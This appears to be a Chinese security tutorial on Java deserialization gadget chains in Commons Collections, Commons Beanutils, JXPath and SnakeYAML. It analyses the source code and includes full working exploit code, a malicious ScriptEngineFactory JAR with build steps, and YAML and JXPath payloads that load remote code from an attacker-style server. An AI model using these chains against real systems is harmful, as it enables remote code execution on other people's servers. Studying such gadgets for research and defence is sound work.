1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections10 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); HashSet set = new HashSet (); set.add(entry); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return set; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CommonsBeanutils Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法。
1 2 3 4 5 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.8.3</version > </dependency >
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法。例如下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import org.apache.commons.beanutils.PropertyUtils;public class Example { public static void main (String[] args) throws Exception { Bean bean = new Bean (); PropertyUtils.setProperty(bean, "name" , "Alice" ); String name = (String) PropertyUtils.getProperty(bean, "name" ); System.out.println("Name: " + name); } } class Bean { private String name; public String getName () { return name; } public void setName (String name) { this .name = name; } }
在执行 PropertyUtils.getProperty(bean, "name") 时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。
除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。
通过这个方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。
当然,commons-beanutils 中诸如此类的辅助方法还有很多,如调用 setter、拷贝属性等,这里不再细说。
CB1 1 2 3 4 5 6 7 8 9 10 11 12 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) ... at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426) at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157) at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) at java.util.PriorityQueue.heapify(PriorityQueue.java:736) at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
原理分析 commons-beanutils 的 org.apache.commons.beanutils.BeanComparator 实现了 java.util 接口,它的 compare 方法会对待比较对象调用 PropertyUtils.getProperty 方法获取 property 属性。而 TemplatesImpl#getOutputProperties 可以触发字节码加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public int compare ( Object o1, Object o2 ) { if ( property == null ) { return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); } }
因此我们可以借鉴 CC2 的思路在 PriorityQueue 中放两个 TemplatesImpl 并且设置 comparator 为 BeanComparator 来触发 BeanComparator#compare 方法调用。
此时如果我们设置 BeanComparator 的 property 属性为 outputProperties 则在反序列化触发 BeanComparator#compare 时会通过 PropertyUtils.getProperty 调用到 TemplatesImpl#getOutputProperties 进而实现任意字节码加载。
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsBeanutils1 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); setFieldValue(queue, "size" , 2 ); return queue; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
这里需要注意 BeanComparator 的构造方法有两个,如果没有指定 Comparator 默认会使用 org.apache.commons.collections.comparators.ComparableComparator。这样改利用链会依赖于 commons-collections 库。
1 2 3 4 5 6 7 8 9 10 11 12 public BeanComparator ( String property ) { this ( property, ComparableComparator.getInstance() ); } public BeanComparator ( String property, Comparator comparator ) { setProperty( property ); if (comparator != null ) { this .comparator = comparator; } else { this .comparator = ComparableComparator.getInstance(); } }
为了避免这种依赖关系从而提高利用链的通用性,我们需要找到一个类来替换 ComparableComparator,它需要满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro 或 commons-beanutils 自带,且兼容性强。
实际上有很多类都满足这个条件,这里我选择的是 CaseInsensitiveComparator,可以通过 String.CASE_INSENSITIVE_ORDER 获取。
或者干脆直接反射将 comparator 设置为 null:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null ); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(comparator, "comparator" , null ); setFieldValue(queue, "queue" , new Object []{templates, templates}); setFieldValue(queue, "size" , 2 ); return queue; }
Jxpath Xpath 是一门在 XML 文档中查找信息的语言,JXpath 是 Xpath 的 Java 实现。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > commons-jxpath</groupId > <artifactId > commons-jxpath</artifactId > <version > 1.3</version > </dependency > <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.3</version > </dependency >
JXpath 除了 XPath 函数,还支持联通 Java 的扩展函数
基本使用 例如我们定义一个 Dog 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.example;public class Dog { public String name; private Integer age; public Dog (String name, Integer age) { System.out.println("Constructor Called" ); this .name = name; this .age = age; } public static String sayHello (String who) { return "Hello, " + who + "!" ; } public String greet (String who) { return "woof " + who + ", I'm " + name + " (" + age + ")" ; } public String getName () { return name; } public void setName (String n) { this .name = n; } public Integer getAge () { return age; } public void setAge (Integer a) { this .age = a; } @Override public String toString () { return "dog{name='" + name + "', age=" + age + "}" ; } }
通过 Jxpath 我们可以创建 Dog 实例,调用静态和普通方法,以及获取和修改属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package com.example;import org.apache.commons.jxpath.ClassFunctions;import org.apache.commons.jxpath.Functions;import org.apache.commons.jxpath.JXPathContext;public class JxpathTest { public static void main (String[] args) { JXPathContext ctx = JXPathContext.newContext(null ); String ctorExpr = "com.example.Dog.new('taco', 18)" ; Dog dog = (Dog) ctx.getValue(ctorExpr); System.out.println("[ctor] => " + dog); String staticExpr = "com.example.Dog.sayHello('world')" ; String hello = (String) ctx.getValue(staticExpr); System.out.println("[static] => " + hello); Functions funcs = new ClassFunctions (Dog.class, "Dog" ); ctx.setFunctions(funcs); ctx.getVariables().declareVariable("d" , dog); String greet = (String) ctx.getValue("Dog:greet($d, 'human')" ); System.out.println("[method] greet => " + greet); JXPathContext onDog = JXPathContext.newContext(dog); String name = (String) onDog.getValue("name" ); Integer age = (Integer) onDog.getValue("age" ); System.out.println("[getter] name=" + name + ", age=" + age); onDog.setValue("name" , "dog" ); onDog.setValue("age" , 8 ); System.out.println("[setter] => " + dog); } }
源码分析 org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue 函数实现方法调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object computeValue (EvalContext context) { Object[] parameters = null ; if (args != null ) { parameters = new Object [args.length]; for (int i = 0 ; i < args.length; i++) { parameters[i] = convert(args[i].compute(context)); } } Function function = context.getRootContext().getFunction(functionName, parameters); if (function == null ) { throw new JXPathFunctionNotFoundException ("No such function: " + functionName + Arrays.asList(parameters)); } Object result = function.invoke(context, parameters); return result instanceof NodeSet ? new NodeSetContext (context, (NodeSet) result) : result; }
其中函数获取有如下调用栈:
1 2 3 4 5 at org.apache.commons.jxpath.PackageFunctions.getFunction(PackageFunctions.java:118) at org.apache.commons.jxpath.ri.JXPathContextReferenceImpl.getFunction(JXPathContextReferenceImpl.java:753) at org.apache.commons.jxpath.ri.axes.RootContext.getFunction(RootContext.java:140) at org.apache.commons.jxpath.ri.compiler.ExtensionFunction.computeValue(ExtensionFunction.java:96) at org.apache.commons.jxpath.ri.JXPathContextReferenceImpl.getValue(JXPathContextReferenceImpl.java:353)
最终在 org.apache.commons.jxpath.PackageFunctions#getFunction 通过类名,方法名,参数类型定位到方法:
1 2 3 4 5 Method method = MethodLookupUtils.lookupMethod( target.getClass(), name, parameters);
根据方法名返回 ConstructorFunction 或 MethodFunction。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (methodName.equals("new" )) { Constructor constructor = MethodLookupUtils.lookupConstructor(functionClass, parameters); if (constructor != null ) { return new ConstructorFunction (constructor); } } else { Method method = MethodLookupUtils.lookupStaticMethod( functionClass, methodName, parameters); if (method != null ) { return new MethodFunction (method); } }
利用方法 构造器利用 Spring 当中有两个类的构造函数远程加载配置,可以构成 RCE。
1 2 org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext
1 2 3 4 5 6 7 8 9 10 11 12 13 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="exec" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > calc</value > </list > </constructor-arg > </bean > </beans >
1 2 3 JXPathContext context = JXPathContext.newContext(null );String code = "org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8888/evil.xml\")" ;context.getValue(code);
静态方法利用
javax.naming.InitialContext#doLookup
1 2 3 4 public static <T> T doLookup (Name name) throws NamingException { return (T) (new InitialContext ()).lookup(name); }
java.sql.DriverManager#getConnection
JDBC Attack
com.alibaba.fastjson.JSON#parseObject
注意这里外边传参要用单引号,json字符串和外边传参都用双引号会解析错误
普通方法调用 1 2 exec(java.lang.Runtime.getRuntime(),'calc' ) eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js' ),'java.lang.Runtime.getRuntime().exec(\"calc\")' )
SnakeYaml SnakeYAML 是一个 Java 的 YAML 解析与生成库 (org.yaml:snakeyaml)。它可以将 YAML 文本和 Java 对象相互转换,常用于读取配置、序列化/反序列化等。默认实现兼容 YAML 1.1;另有项目 snakeyaml-engine 支持 YAML 1.2。
1 2 3 4 5 <dependency > <groupId > org.yaml</groupId > <artifactId > snakeyaml</artifactId > <version > 1.27</version > </dependency >
SnakeYAML 核心提供两个功能:
反序列化(Load) : YAML文本 → Java对象(Map/List/POJO)
序列化(Dump) : Java对象 → YAML文本
基本使用 先定义 POJO:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class User { public String name; private int age; User(String name, int age) { this .name = name; this .age = age; } User() { } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } @Override public String toString () { return "User{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
Java对象 → YAML字符串 下面的示例代码使用 SnakeYaml 将一个 Java POJO 转换为 YAML 字符串。
1 2 3 4 5 6 Yaml yaml = new Yaml ();User user = new User ("李四" , 30 );String yamlOutput = yaml.dump(user);System.out.println(yamlOutput);
观察上述代码的输出内容,我们发现序列化结果的格式与我们常见的 Yaml 文件格式不同,而是有点类似 Json 的语法。这是因为 Yaml 语法格式有块风格(block style)映射 和流风格(flow style)映射 两种,这里属于流风格 。
YAML 用三种“节点”表达数据结构:
标量(scalar) :字符串、数字等原子值
序列(sequence) :有序列表
映射(mapping) :键值对集合(键值对顺序不一定保证,但键必须唯一 )
为了组织这三种节点,Yaml 有两种不同的写法:
块风格(block style)映射 :用换行 + 缩进 区分层级。
1 2 3 person: name: 张三 age: 25
行首缩进只能用空格 ,不能用 Tab ;同级缩进要一致。
键和值之间通常写 key: value(有一个空格)。
流风格(flow style)映射 :用花括号 {} 包围、用 逗号 , 分隔键值对,和 JSON 很像。YAML 1.2 的目标之一是让 JSON 成为它的子集 ,几乎所有 JSON 都是合法 YAML。
1 { person: { name: 张三 , age: 25 }, tags: [dev , ops ] }
映射 用 { ... },序列 用 [ ... ];元素之间用 逗号 , 分隔。
在流风格 里,如果键是 JSON 样式的(如带引号),冒号后可不留空格(不建议,影响可读性)。
而 !!User 也就是 !!T 是 YAML 的“类型标签(tag)”语法 ,用来显式标注一个节点的类型 。
YAML 里每个节点(标量/序列/映射)都有一个标签 表示类型。
42 会被推断成 !!int
"hello" 会被推断成 !!str
{k: v} 会被推断成 !!map
在 YAML 1.1 里,!! 是“主标签句柄 (primary tag handle)”,等价于前缀 tag:yaml.org,2002:,所以:
!!int "42" ≡ !<tag:yaml.org,2002:int> "42"
!!str hello ≡ !<tag:yaml.org,2002:str> hello
类型命名空间前缀 用的是 Tag URI 方案(见 RFC 4151),通用格式是:tag:<authority>,<date>:<specific>。
tag:yaml.org,2002: 是 YAML 规范定义的一段“类型命名空间前缀”(Tag URI) 。它不是网页链接,而是一个标识符前缀 ,用来给 YAML 里的内置类型(字符串、整数、映射、序列等)起全局唯一的名字。这里 yaml.org 是命名主体,2002 是登记年份 (不是版本号),后面跟具体类型名,比如:
tag:yaml.org,2002:int → 整数
tag:yaml.org,2002:str → 字符串
tag:yaml.org,2002:map → 映射(对象/字典)
tag:yaml.org,2002:seq → 序列(数组/列表)
在序列化过程中,SnakeYAML 会:
首先静态类型 的属性不会参与序列化。
对于 public 类型的属性,直接通过反射取值 。
如果是非 public 类型的属性,必须满足才会调用对应的 getter 方法取值,并且无论 getter 返回的是不是对应属性的值都以 getter 的结果为准。
有对应的 getter 和 setter 方法;
getter 和 setter 必须是 public 类型;
getter 的返回值类型和 setter 的参数类型必须与属性一致。
YAML → 强类型对象 加载 YAML 为 Java 对象:
1 2 3 4 Yaml yaml = new Yaml ();User user = yaml.load("!!User {name: 张三, age: 25}" );System.out.println(user);
!!User {name: 张三, age: 25} 中的 !!User 会显式告诉解析器 :这个映射应按 User 类型处理。如果没有显式标签则会被反序列化为 java.util.LinkedHashMap 类型对象。
YAML 的类型标签(tag)与后面实际的键值对必须有空格,否则会报错:
1 2 3 4 Exception in thread "main" while scanning a tag in 'string', line 1, column 1: !!User{name: 张三, age: 25} ^
SnakeYAML 还额外约定 :如果标签看起来像一个 Java 类名 (例如 !!com.example.User 或 !!User),它会尝试用这个类来构造对象。因此整个反序列化过程为:
首先调用类的无参构造函数 实例化一个对象,如果找不到无参构造函数就会抛出如下异常:
NoSuchMethodException: User.() Can’t construct a java object for tag:yaml.org,2002:User
如果属性是 public 且不是 static 变量,则直接通过反射赋值 。这里如果是 static 变量则会有如下报错:
Exception in thread “main” Cannot create property=age for JavaBean=User{name=’张三’, age=0}
否则寻找对应的 setter 函数赋值,如果找不到会抛出如下异常:
Exception in thread “main” Cannot create property=age for JavaBean=User{name=’张三’, age=0}
到这一步不会跟之前一样关心:getter 和 setter 齐全;属性是否是 static,只要能找到单个参数的 public 类型的 setter 且类型匹配就会调用赋值。
当写成 !!User [张三, 25](标签 + 序列 )时,SnakeYAML 会把序列元素先构造成 Java 值,然后按参数个数与类型 去找构造方法(如 User(String,int))。如果找不到对应的有参构造函数会抛出如下异常:
Exception in thread “main” Can’t construct a java object for tag:yaml.org,2002:User; exception=No suitable constructor with 2 arguments found for class User
利用方法 根据前面对 SnakeYaml 的分析,我们可以通过 SnakeYaml 反序列化调任意满足条件 setter 和构造函数,并且参数可控。
ScriptEngineManager javax.script.ScriptEngineManager 是 JSR-223(Java 脚本 API)的“引擎管理器”。它的职责 就是找到系统里的脚本引擎(Nashorn、Rhino、Groovy、Python……),并按名字/后缀返回 ScriptEngine。
这里 ScriptEngineManager 的“插件发现”用的是 SPI(Service Provider Interface) 机制,这是一种“接口在这、实现由外部提供 ”的约定。Java 用 ServiceLoader 来做“在类路径上自动发现实现 并实例化 ”:
服务接口 :一组 API(比如 javax.script.ScriptEngineFactory)。
服务提供者 JAR :把实现类(比如 com.foo.MyEngineFactory)打进 JAR,并且在 META-INF/services/<服务接口全名> 这个文件里列出 实现类的全限定名 。
发现与实例化 :应用调用 ServiceLoader.load(接口, 某个ClassLoader);ServiceLoader 会用那个 ClassLoader 找到所有 META-INF/services/... 文件 → 读每一行类名 → 加载类 → new 一个 (要求无参构造 )。
因此我们可以构造 ScriptEngineManager payload,利用 SPI 机制通过 URLClassLoader 远程加载恶意字节码文件。
首先我们需要构造一个供 ScriptEngineManager 加载的恶意 JAR 包,并且 JAR 包中的路径需要按照下面这样构造:
1 2 3 4 5 6 7 acme-engine.jar ├─ META-INF/ │ └─ services/ │ └─ javax.script.ScriptEngineFactory # 文件内容:com.acme.MyEngineFactory └─ com/ └─ acme/ └─ MyEngineFactory.class
META-INF/services/javax.script.ScriptEngineFactory 告诉 ServiceLoader(ScriptEngineManager 内部使用它)有哪些 ScriptEngineFactory 提供者。文件内容每行一个实现类的全限定名 ,忽略空行/空白;# 之后为注释;重复条目忽略 ;并且提供者类必须有“无参构造函数” ,以便加载时实例化。
1 com.acme.MyEngineFactory
com/acme/MyEngineFactory.class 是真正的“提供者类”(**实现 javax.script.ScriptEngineFactory**),由 ScriptEngineManager 通过 ServiceLoader 发现并 加载 + 实例化 。这要求 ScriptEngineFactory 的实现类 MyEngineFactory:
public、非抽象 ;
public 无参构造 (由 ServiceLoader 反射创建);
放在和包名一致的路径下(com/acme/...),并能被用于发现的 ClassLoader 访问到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.acme;import javax.script.*;import java.util.*;import java.io.IOException;public class MyEngineFactory implements ScriptEngineFactory { public MyEngineFactory () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName () { return null ; } @Override public String getEngineVersion () { return null ; } @Override public List<String> getExtensions () { return null ; } @Override public List<String> getMimeTypes () { return null ; } @Override public List<String> getNames () { return null ; } @Override public String getLanguageName () { return null ; } @Override public String getLanguageVersion () { return null ; } @Override public Object getParameter (String key) { return null ; } @Override public String getMethodCallSyntax (String obj, String m, String... args) { return null ; } @Override public String getOutputStatement (String toDisplay) { return null ; } @Override public String getProgram (String... statements) { return null ; } @Override public ScriptEngine getScriptEngine () { return null ; } }
要想编译上述 JAR 包,首先需要按照下面这个格式创建源码目录:
1 2 3 4 5 project/ ├─ src/ │ └─ com/acme/MyEngineFactory.java // 实现 ScriptEngineFactory └─ resources/ └─ META-INF/services/javax.script.ScriptEngineFactory
创建命令如下:
powershell:
1 2 mkdir project\src\com\acmemkdir project\resources\META-INF\services
bash:
1 mkdir -p project/src/com/acme project/resources/META-INF/services
然后将其打包成 JAR 包:
powershell:
1 2 3 4 5 6 7 8 9 10 11 12 13 $env:JAVA_HOME ="C:\Program Files\Java\jdk1.8.0_65" New-Item -ItemType Directory -Force out\classes\META-INF \services | Out-Null Copy-Item -Force ` resources\META-INF \services\javax.script.ScriptEngineFactory ` out\classes\META-INF \services\ & "$env:JAVA_HOME \bin\jar.exe" -cvf acme-engine .jar -C out\classes . & "$env:JAVA_HOME \bin\jar.exe" tf acme-engine .jar
bash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 set -emkdir -p out/classes/META-INF/services out/classescp -f resources/META-INF/services/javax.script.ScriptEngineFactory \ out/classes/META-INF/services/ javac -encoding UTF-8 -d out/classes src/com/acme/MyEngineFactory.java jar -cvf acme-engine.jar -C out/classes . jar tf acme-engine.jar
然后用 SnakeYaml 反序列化下面这段 Yaml 内容就可以远程加载 JAR 包并执行 MyEngineFactory.class 中的代码:
1 2 3 4 5 6 Yaml yaml = new Yaml ();String yamlString = "!!javax.script.ScriptEngineManager\n" + " [ !!java.net.URLClassLoader\n" + " [[ !!java.net.URL [\"http://127.0.0.1:9999/acme-engine.jar\"] ]]\n" + " ]" ; yaml.load(yamlString);
上述反序列化的 Yaml 内容本质上是嵌套调用了三个类的构造函数:
解析最内层:!!java.net.URL ["http://.../acme-engine.jar"] → 找到 URL(String) 构造器 → 得到一个 URL 实例。
解析中间层:!!java.net.URLClassLoader [[ <URL> ]]
→ 内层 [] 将 URL 转换成数组形式的 URL[];
→ 外层 [] 调用构造函数 URLClassLoader(URL[]) → 得到一个 URLClassLoader,其搜索路径包含 "http://.../acme-engine.jar"。
解析最外层:!!javax.script.ScriptEngineManager [ <URLClassLoader> ] → 匹配到 ScriptEngineManager(ClassLoader) 构造器 → 开始执行 SEM 的构造函数。
对于最外层的 ScriptEngineManager,有如下调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 at java.lang.Runtime.exec(Runtime.java:347) at com.acme.MyEngineFactory.<init>(MyEngineFactory.java:10) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at java.lang.Class.newInstance(Class.java:442) at java.util.ServiceLoader$LazyIterator.nextService(ServiceLoader.java:380) at java.util.ServiceLoader$LazyIterator.next(ServiceLoader.java:404) at java.util.ServiceLoader$1.next(ServiceLoader.java:480) at javax.script.ScriptEngineManager.initEngines(ScriptEngineManager.java:122) at javax.script.ScriptEngineManager.init(ScriptEngineManager.java:84) at javax.script.ScriptEngineManager.<init>(ScriptEngineManager.java:75) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:570) at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219) at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173) at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157) at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490) at org.yaml.snakeyaml.Yaml.load(Yaml.java:416) at Main.main(Main.java:10)
其中 javax.script.ScriptEngineManager#initEngines 函数首先调用 getServiceLoader 函数根据我们传入的 URLClassLoader 远程加载 JAR 包并按 SPI 规则加载其中的 ScriptEngineFactory。后续遍历操作触发类的实例化执行代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 private ServiceLoader<ScriptEngineFactory> getServiceLoader (final ClassLoader loader) { if (loader != null ) { return ServiceLoader.load(ScriptEngineFactory.class, loader); } else { return ServiceLoader.loadInstalled(ScriptEngineFactory.class); } } private void initEngines (final ClassLoader loader) { Iterator<ScriptEngineFactory> itr = null ; try { ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged( new PrivilegedAction <ServiceLoader<ScriptEngineFactory>>() { @Override public ServiceLoader<ScriptEngineFactory> run () { return getServiceLoader(loader); } }); itr = sl.iterator(); } catch (ServiceConfigurationError err) { } try { while (itr.hasNext()) { try { ScriptEngineFactory fact = itr.next(); engineSpis.add(fact); } catch (ServiceConfigurationError err) { } } } catch (ServiceConfigurationError err) { } }
SpringFramework 远程加载配置 Spring 当中有两个类的构造函数远程加载配置,可以构成 RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="exec" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > calc</value > </list > </constructor-arg > </bean > </beans >
org.springframework.context.support.ClassPathXmlApplicationContext:
1 !!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml" ]
